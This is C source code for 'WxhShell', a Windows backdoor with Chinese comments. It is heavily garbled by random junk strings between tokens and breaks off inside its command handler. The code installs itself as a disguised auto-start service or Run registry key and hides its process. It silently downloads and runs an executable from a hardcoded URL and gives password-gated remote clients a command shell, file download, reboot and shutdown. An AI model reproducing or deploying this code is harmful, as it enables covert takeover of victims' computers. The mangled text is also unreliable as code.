lfbX@ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "H=N>=g0E if(NULL == hInst ) return 0; ^XG$?2<U E!uQ>'iq. g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); D&i,`j g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U.h2 (-p NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); XA;f.u nW<nOKTnk_ if (!NtQueryInformationProcess) return 0; bjI3xAs~ ?H>^X)Ph hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); H[}lzL) if(!hProcess) return 0; ouO9%)zv
&PMfAo^ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; CugZ!>;^ ?9>wG7cps7 CloseHandle(hProcess); `\'V]9wS PHJHW#sv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); C6Cr+TScH if(hProcess==NULL) return 0; Ikw.L d[ _@l HMODULE hMod; 0g HV(L?
char procName[255]; 'z{|#zd9 unsigned long cbNeeded; w#ZzmO sLFZ61rT if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M8$eMS1 4*IXBi7% CloseHandle(hProcess); h<bhH=6~ K;w2qc.+ if(strstr(procName,"services")) return 1; // 以服务启动 T8%!l40v EhW"s%Q return 0; // 注册表启动 Lf%=vd } qM6hE.J HXC\``E // 主模块 [lVfhXc& int StartWxhshell(LPSTR lpCmdLine) TY5R=jh= { <P/odpmc SOCKET wsl; W*DKpJy BOOL val=TRUE; _1mpsY<k int port=0; X|G[Ma? struct sockaddr_in door; E" >` oE6`]^^ if(wscfg.ws_autoins) Install(); 7WY~v2SDF 1Kr$JIcd port=atoi(lpCmdLine); z30 mk DuT6Od/f if(port<=0) port=wscfg.ws_port; sv!v`zh ?k($Tc&Q WSADATA data; =F}qT|K if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sI h5cT UFu0{rY_ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r=SCbv setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q2'}S
A/ door.sin_family = AF_INET; !^s -~`'\~ door.sin_addr.s_addr = inet_addr("127.0.0.1"); cP\z*\dS door.sin_port = htons(port); !Q5,Zhgr hc3tzB if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B}. :7,/0 closesocket(wsl); #XB3Wden2 return 1; TU58 } gK@`0/k{ !3\$XK]5ZT if(listen(wsl,2) == INVALID_SOCKET) { M d8(P23hS closesocket(wsl); sC.r$K+k5 return 1; `9gV8u } >B=s+}/ME Wxhshell(wsl);
7l[@c|e WSACleanup(); i$`o,m# 12?!Z return 0; wa{!%qu5.R ~WORC\kCW } {MyI3mvA IG{Me // 以NT服务方式启动 f6Lc"b3s1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #5kclu%L$ { Gqc6]{ DWORD status = 0; oylQCbT DWORD specificError = 0xfffffff; :zq Un&k& /U0Hk>$~( serviceStatus.dwServiceType = SERVICE_WIN32; |)" y serviceStatus.dwCurrentState = SERVICE_START_PENDING; ^suQ7#g serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "I:* serviceStatus.dwWin32ExitCode = 0; 9v;HE{> serviceStatus.dwServiceSpecificExitCode = 0; L N.:>, serviceStatus.dwCheckPoint = 0; 6xwjKh:9 serviceStatus.dwWaitHint = 0; mpCu,l+lo ]7>#YKH. hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l6 }+,v@# if (hServiceStatusHandle==0) return; f~PS'I_r 7R
m\# status = GetLastError(); NZ&ZK@h}. if (status!=NO_ERROR) b9"t%R9/Q { UNF\k1[ serviceStatus.dwCurrentState = SERVICE_STOPPED; ^Ifm1$X} serviceStatus.dwCheckPoint = 0; U<Qi`uoj! serviceStatus.dwWaitHint = 0; +N7<[hE; serviceStatus.dwWin32ExitCode = status; EJMd[hMhe serviceStatus.dwServiceSpecificExitCode = specificError; r<Z .J/a SetServiceStatus(hServiceStatusHandle, &serviceStatus); CTKw2`5u return; 5uahfJk } &-p~UZy nTGZ2C)c<' serviceStatus.dwCurrentState = SERVICE_RUNNING; DpeJx serviceStatus.dwCheckPoint = 0; ?U[6X|1 serviceStatus.dwWaitHint = 0; S.B?l_d^ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nM:<l}~v{ } U`8Er48X WagL8BpLx // 处理NT服务事件,比如:启动、停止 maY.Z<lN VOID WINAPI NTServiceHandler(DWORD fdwControl) 7l/lY-zO { !lL
`L\ switch(fdwControl)
T3<1{"& { CGlEc case SERVICE_CONTROL_STOP: s! serviceStatus.dwWin32ExitCode = 0; &A.0(s serviceStatus.dwCurrentState = SERVICE_STOPPED; lMh>eX serviceStatus.dwCheckPoint = 0; LyNmn.nN serviceStatus.dwWaitHint = 0; Ok@`<6v { hmOGteAf- SetServiceStatus(hServiceStatusHandle, &serviceStatus); CLe{9-o } s8 MQ:eAP return; 4X7J~ case SERVICE_CONTROL_PAUSE: a#i|)[ serviceStatus.dwCurrentState = SERVICE_PAUSED; + 9|0\Q break; 00f'G2n case SERVICE_CONTROL_CONTINUE: MUv#8{+F'/ serviceStatus.dwCurrentState = SERVICE_RUNNING; C'y2!Q/" break; U^
,! case SERVICE_CONTROL_INTERROGATE: i2(v7Gef break; z^.dYb7< }; hcRe,}wJ SetServiceStatus(hServiceStatusHandle, &serviceStatus); jP_s(PQ } ~_"V7 8 @(?E[&O> // 标准应用程序主函数 @_$$'XA7 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IHi[3xf< { @Lf&[_ >`a^E1) // 获取操作系统版本 ^'M^0'_"v OsIsNt=GetOsVer(); ,dK)I1"C GetModuleFileName(NULL,ExeFile,MAX_PATH); @RszPH1B H25Qx;(dTk // 从命令行安装 pjTJZhT2 I if(strpbrk(lpCmdLine,"iI")) Install(); gp{C89gP SiaW; ks // 下载执行文件 /5"T46jD if(wscfg.ws_downexe) { d0ht*b if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vY|YqWt WinExec(wscfg.ws_filenam,SW_HIDE); H
lM7^3(& } ~Js kA5h|& mVYfyLZ,( if(!OsIsNt) { R"JXWw // 如果时win9x,隐藏进程并且设置为注册表启动 3@ Fa HideProc(); <]KQ$8dtD StartWxhshell(lpCmdLine); cLwnV. } mI DVN else <fDT/ if(StartFromService()) ^0cbN[~/ns // 以服务方式启动 lVq5>:'}^; StartServiceCtrlDispatcher(DispatchTable); 9kF0H
a}J else +[MHl // 普通方式启动 GH-Fqz StartWxhshell(lpCmdLine); P7,g^:$ ik/
X!YTu* return 0; NziCN*6 } 3imsIBr X<C fy s !2Iui
@
NyRa.hgZ; =========================================== Hd\oV^>
qwJp&6 UjoA$A!Od; (BxmV1 (7b9irL&cn {'h&[f>zcQ " v&/H6r#E. :7"Q #include <stdio.h> +y'2 h%>h[ #include <string.h> cAwqIihZ #include <windows.h> nh@JGy*L #include <winsock2.h> 0x5Ax=ut #include <winsvc.h> Dqc
GzTz #include <urlmon.h> 46e?%0( G,$nq4 #pragma comment (lib, "Ws2_32.lib") b-#{O=B #pragma comment (lib, "urlmon.lib") uF}dEDB|; S ;rd0+J #define MAX_USER 100 // 最大客户端连接数 !
M CV@5$ #define BUF_SOCK 200 // sock buffer uo2k #define KEY_BUFF 255 // 输入 buffer :*|Ua%L_ <dD!_S6@, #define REBOOT 0 // 重启 P;z\vq<h #define SHUTDOWN 1 // 关机 FNF `Z N*&T)a #define DEF_PORT 5000 // 监听端口 \ HUDZ2 s j[A(@w" #define REG_LEN 16 // 注册表键长度 ]4[%Sv6]G #define SVC_LEN 80 // NT服务名长度 2#^g] o-N `JiWS
// 从dll定义API =Hd#"9- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^JMG'@x typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |,oLZCNa typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T!y 9v5 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d^6-P
R_ X-<,zRM // wxhshell配置信息 pKq[F*Lut struct WSCFG { 4XER7c int ws_port; // 监听端口 1?|"33\03R char ws_passstr[REG_LEN]; // 口令 u=v-,Tw int ws_autoins; // 安装标记, 1=yes 0=no >FOCdlJ# char ws_regname[REG_LEN]; // 注册表键名 Ot\[Ya'' char ws_svcname[REG_LEN]; // 服务名 Y
?n4#J< char ws_svcdisp[SVC_LEN]; // 服务显示名 d
([~o char ws_svcdesc[SVC_LEN]; // 服务描述信息 yc3/5]E& char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )}N:t:rry int ws_downexe; // 下载执行标记, 1=yes 0=no vw3[(_MV3_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [fT$# '6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JZxA:dg
l c,;VnZ
9wC }; _^(1Qb[ t'At9<ib // default Wxhshell configuration H9ES|ZJs struct WSCFG wscfg={DEF_PORT, 579D "xuhuanlingzhe", \WC,iA%Y 1, +CdUr~6 "Wxhshell", XK/l1E3N "Wxhshell", j;y(to-e>D "WxhShell Service", JmR2skoV, "Wrsky Windows CmdShell Service", zw+wq+2" "Please Input Your Password: ", =Jw*T[ E 1, Fs4shrt "http://www.wrsky.com/wxhshell.exe", N_B^k8j "Wxhshell.exe" q|]CA }; _wb]tE ~g l\V1c90m // 消息定义模块 'R-\6;3E>9 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `~=z0I char *msg_ws_prompt="\n\r? for help\n\r#>"; w{[^ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; FqbGT(QB0 char *msg_ws_ext="\n\rExit."; srN7 char *msg_ws_end="\n\rQuit."; 8g_kZ^<[ char *msg_ws_boot="\n\rReboot..."; ^8,prxaok char *msg_ws_poff="\n\rShutdown..."; %au>D char *msg_ws_down="\n\rSave to "; O-UA2?N@j y_n4Y[4g char *msg_ws_err="\n\rErr!"; vI(LIfe; char *msg_ws_ok="\n\rOK!"; dz/@]a 1DAU*^- char ExeFile[MAX_PATH]; LB]3-FsU+ int nUser = 0; K O\HH HANDLE handles[MAX_USER]; +l)t5Mg\ int OsIsNt; JS m7-p|E 0H4|}+e SERVICE_STATUS serviceStatus; )Z/w|5< SERVICE_STATUS_HANDLE hServiceStatusHandle; P
nE7} 9{A4> // 函数声明
*?1\S^7R int Install(void); aL&egM* int Uninstall(void); psIo[.$rTk int DownloadFile(char *sURL, SOCKET wsh); j96}E/gF int Boot(int flag); IZ>l void HideProc(void); }qp)VF int GetOsVer(void); H6K8. int Wxhshell(SOCKET wsl); mUP!jTF void TalkWithClient(void *cs); ju[y-am$/ int CmdShell(SOCKET sock); 'JdK0w# int StartFromService(void); rWNe&gFM int StartWxhshell(LPSTR lpCmdLine); L#a!fd )O+Zbn VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R8lja%+0$ VOID WINAPI NTServiceHandler( DWORD fdwControl ); ZoJqJWsd %$ o[,13= // 数据结构和表定义 = )3\B SERVICE_TABLE_ENTRY DispatchTable[] = #U%HGTE0 { Wm"#"l4 {wscfg.ws_svcname, NTServiceMain}, zJ}abo6rVw {NULL, NULL} k.54lNl }; nPI$<yW7F N3#^Ifn[ // 自我安装 7\g#'#K int Install(void) S`b!sT-sD { ;/4x.t#b char svExeFile[MAX_PATH]; F`eE*& HKEY key; pO)EYla9 strcpy(svExeFile,ExeFile); i; ]0>g4
MYVVI1A // 如果是win9x系统,修改注册表设为自启动 .3_u5N|[=W if(!OsIsNt) { PPG+~.7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |n;);T( RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1I'Q{X&B RegCloseKey(key); OYWHiXE6] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1@LUxU#Uu$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J"E _i] RegCloseKey(key); ^.@%n1I"5y return 0; MRo_An+ } ~cO iv } vdUKIP
=|_ } .UX4p
= else { kUGFg{" GL9'dL| // 如果是NT以上系统,安装为系统服务 7uw-1F5x7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z6Mjc/ if (schSCManager!=0) W)f=\.7 { vmNI$KZM SC_HANDLE schService = CreateService &J9 + 5L8 ( 32aI0CT schSCManager, Xe:^<$z wscfg.ws_svcname, !9r%d8!z wscfg.ws_svcdisp, H2[0@|<< SERVICE_ALL_ACCESS, fH9"sBiO SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ex]Ku SERVICE_AUTO_START, xuqG)HthRS SERVICE_ERROR_NORMAL, w1zMY:9 svExeFile, #M!{D NULL, <{ v
%2 NULL, A+H8\ew2, NULL, l\N2C4NG NULL, E%8uQ2p( NULL qo\9,< ); bnvY2-O6 if (schService!=0) 1D[>oK\ { &CXk=Wj CloseServiceHandle(schService); t&x\@p9 CloseServiceHandle(schSCManager); 3jW&S strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +]wM$bP strcat(svExeFile,wscfg.ws_svcname); c]U+6JH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { znWB.H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); TT3GGHR RegCloseKey(key); PvW4%A@0 return 0; +CSv@ />3 } )+,h}XqlX } $f+I#uJ CloseServiceHandle(schSCManager); +zDRed_]=_ } zHNBX
Rx } DS@Yto RTg\c[=w return 1; S^D@8<6GJ } <?DI!~ 4=y&}3om(0 // 自我卸载 UB8n,+R int Uninstall(void) _~umE/tz { `h :!^"G HKEY key; 2Rwd\e.z `) ],FE*: if(!OsIsNt) { 2(\PsN w! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 6M_ W( RegDeleteValue(key,wscfg.ws_regname); Fx1FxwIJ RegCloseKey(key); d5{=<j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hRB?NM RegDeleteValue(key,wscfg.ws_regname); T?Z&\g0yp RegCloseKey(key); ()t~XQ return 0; 9 2D~trn } L|s\IM1g } e87a9ZPm } $7Z-Nn38 else { H13\8Te{ J2oh#TGp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <0~1 if (schSCManager!=0) [x=(:soEqC { sHPeAa22 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 74
)G.! if (schService!=0) Tu}EAr { 726UO#* if(DeleteService(schService)!=0) { NZ8X@|N CloseServiceHandle(schService); L"S2+F)n CloseServiceHandle(schSCManager); B2LXF3#/ return 0; y|0/;SjV } SEi\H$! CloseServiceHandle(schService); ?< yYm;B } 0/!0W%f[} CloseServiceHandle(schSCManager); SS_6VE*sI } .ej+?QYwC } k5Q1.;fW76 IW@phKz return 1; x11r iK } j5/|1N `0_
Y| 4KB // 从指定url下载文件 >mMfZvxl% int DownloadFile(char *sURL, SOCKET wsh) Vom,^`} { l(F\5Ys HRESULT hr; #
&5. char seps[]= "/"; \3K7)o^ char *token; GA[bo)" char *file; c3#eL char myURL[MAX_PATH]; g6.I~oQj char myFILE[MAX_PATH]; ;:R2 P@6f CZ$B2i6 strcpy(myURL,sURL); /yx)_x{ token=strtok(myURL,seps); &e*@:5Z:k while(token!=NULL) Hdd3n6* { '?_~{\9< file=token; gzW{h0iRr token=strtok(NULL,seps); 8*B+@` } L+@X]OW8 P&:[pPG GetCurrentDirectory(MAX_PATH,myFILE); =^{MyR7 strcat(myFILE, "\\"); DNqC*IvuzM strcat(myFILE, file); p__N6a send(wsh,myFILE,strlen(myFILE),0); rL+.3ZO):P send(wsh,"...",3,0); SGy2&{\Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); IBu\Sh- if(hr==S_OK) Pn@DHYP return 0; cmCD}Skk else SG0PQ return 1; t7V7 TL!5' (64es)B}" } {5%d#|? =_@) KWeX$ // 系统电源模块 ug;\`.nT^ int Boot(int flag) ){eQ.yW { L=HnVgBs HANDLE hToken; x`I Wo:j TOKEN_PRIVILEGES tkp; 5~2_wWjX g$hEVT if(OsIsNt) { b<"jmB{ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); WMWMb3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _]D
6m2R tkp.PrivilegeCount = 1; !
jDopE0L tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D8Mq '$- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5.yiNWh if(flag==REBOOT) { II~91IEk if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) : vgn0IQ return 0; aiE\r/k8s } <X& fs*x& else { vMJ(Ll7/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oaILh return 0; NNE(jJ`/ } u.?jW vcv } 3qH1\ else { 31e
O2|7 if(flag==REBOOT) { ^~bdAO81 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) A+4Kj~`! return 0; "f~OC<GdYs } s6_i> else { b9-3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Y}Y~?kE>M| return 0; L?&&4%% } L=C#E0{i } :!?Fq/! El
:%\hGy return 1; +$2`"%nBG } TGPZUyi3!= mV4gw'.;7 // win9x进程隐藏模块 P7/Xh3 void HideProc(void) E?BF8t_fTE { hy$VG%b;# f4+wP/n& HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); m^TN6/]) if ( hKernel != NULL ) ObS#aRq { &uBfsa$ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B8.}9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); a+a6P5kJ FreeLibrary(hKernel); /nX_Q?mo } IX<9_q ~ kDJ-V return; Z ZCm438 } e#3RT8u# Acd@BL* // 获取操作系统版本 h5-yhG int GetOsVer(void) p
Tz]8[^ { fy|I3 OSVERSIONINFO winfo; m@w469&<(q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); RQ^
\|+_ GetVersionEx(&winfo); @'?gan#( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) a69e^;,>q return 1; $MfRw else ?<8c return 0; \ n^[!e"` } 5dD8s-;^T /<(-lbq, // 客户端句柄模块 KHJ wCv int Wxhshell(SOCKET wsl) h/8p2Mrqi { VhAJ1[k4! SOCKET wsh; pQC|_T#u struct sockaddr_in client; s| Q1;%Tj DWORD myID; *n[B Bz c813NHW while(nUser<MAX_USER) <X1lq9 lW { _p'@.P int nSize=sizeof(client); -"H0Qafm wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w1VYU> if(wsh==INVALID_SOCKET) return 1; "5sA&^_#_ T.-tV[2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KU+\fwYpnk if(handles[nUser]==0) 9$C?)XKXB closesocket(wsh); X')l04P@% else
8Djki] nUser++; DQ[7p( } >lzXyT6x8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 83{P7PBQ;] -!li,&,A1 return 0; >+Iph2] } nLv~)IQ}: Fpeokr"i // 关闭 socket cx&\oP void CloseIt(SOCKET wsh) &?Q^i">cZ { z5Tsu1c closesocket(wsh); t+]1D@h v nUser--; H=g%>W%3 ExitThread(0); `<|<1, } |>m'szca4 [/VpvQ' // 客户端请求句柄 X-,oL.:c void TalkWithClient(void *cs) RO%M9LISI { !y'>sAf Ht\2 IP SOCKET wsh=(SOCKET)cs; "Jg.)1Jw char pwd[SVC_LEN]; H270)Cwn+ char cmd[KEY_BUFF]; k_zn>aR$F char chr[1]; 4gNN " int i,j; J]{<Z?% z,2*3Be6V while (nUser < MAX_USER) { $ Y^0l p4UEhT if(wscfg.ws_passstr) { re}PpXRC if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r)K5<[\r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [?O4l` //ZeroMemory(pwd,KEY_BUFF); 1sonDBd0@; i=0; n00J21 while(i<SVC_LEN) {
_<Ij)#Rq7 >D}|'.& // 设置超时 Q.h.d)) fd_set FdRead; ;BT7pyu%[ struct timeval TimeOut; k.o8!aCm FD_ZERO(&FdRead); )Ho"b FD_SET(wsh,&FdRead); KRcB_( TimeOut.tv_sec=8; sK&kp=zu TimeOut.tv_usec=0; ZZTf/s* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]FIIs58IM if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~K<h~TNP ,r]H+vWS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -38"S;M8 pwd=chr[0]; o^*: if(chr[0]==0xd || chr[0]==0xa) { .>.GQUr pwd=0; #=33TvprR2 break; G +41D } bj6Yz,g F i++; bGK*1FlH } k<+Sj
h$ d
ePk}Sn // 如果是非法用户,关闭 socket U=69q] if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); j u"?b2f } Hc8He!X*# x;E/ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gW--[ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0j6b5<Gpc* q9j~|GE| while(1) { eB1NM<V D M+MBK
ZeroMemory(cmd,KEY_BUFF); I9>vm] &0%Zb~ts // 自动支持客户端 telnet标准 F --b,, j=0; SG|AJ9 while(j<KEY_BUFF) { \ERxr
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :l!sKT?:d! cmd[j]=chr[0]; /#(IV_Eol if(chr[0]==0xa || chr[0]==0xd) { oq!\100 cmd[j]=0; KB :JVK^ < break; :(m, 06K } ]y=U"g j++; ^L)3O|6c } 9lR6:}L7 V;"2=)X // 下载文件 KW[y+c u.# if(strstr(cmd,"http://")) { 'q |"+; send(wsh,msg_ws_down,strlen(msg_ws_down),0); c$2kR: if(DownloadFile(cmd,wsh)) .ve_If-Hg send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ax;?~v4Z else 4dCXBTT send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); etiUt~W } FK~wr;[ else { :.]EM*p?GV b+J|yM<` switch(cmd[0]) { *GBV[D[G, (@xC-* // 帮助 ?hc=w 2Ci case '?': { %N~c9B send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )e`9U.C break; A^X\ } 7sOAaWx // 安装 rA B=H*|6 case 'i': { iv6G9e{cx if(Install()) ,&=7ir14>R send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xn%7{%;h else %H" send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5CN=a2& break; JmK
)Y# A } %M'`K // 卸载 { >izfG,\ case 'r': { \i//Aq if(Uninstall()) 8w:mL^6x send(wsh,msg_ws_err,strlen(msg_ws_err),0); __QnzEF else 8~-TN1H send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3))R91I break; Ua
6O~,\ } ;7?oJH; // 显示 wxhshell 所在路径 H,w8+vZ4\ case 'p': { wZ\93W-} char svExeFile[MAX_PATH]; iBbaHU*V strcpy(svExeFile,"\n\r"); $fD%18 strcat(svExeFile,ExeFile); ^[HUtq send(wsh,svExeFile,strlen(svExeFile),0); OF']- break; wUr(i * } (UjaL@G // 重启 yGt[Qvx# case 'b': { sGtxqnX:J send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?;`GCE if(Boot(REBOOT)) JcmMbd&B send(wsh,msg_ws_err,strlen(msg_ws_err),0); v@[3R7|4 else { \ 9V_[xD+ closesocket(wsh); m]MR\E5]By ExitThread(0); ),B/NZ/- } ^[m-PS( break; \M@IKE } >"<s7$g // 关机 w/(T case 'd': { (n?f016*%d send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !9$}1_,is if(Boot(SHUTDOWN)) db_?da;!` send(wsh,msg_ws_err,strlen(msg_ws_err),0); R0*P,~L;| else { {-m e;ayk closesocket(wsh); @^ YXE, ExitThread(0); cRr3!<EZ } ;r"r1'a+@ break; DGCvH)Q } ((`{-y\K // 获取shell e#h&Xa case 's': { W?4:sLC#3 CmdShell(wsh); \{ QH^ closesocket(wsh); Khi6z& |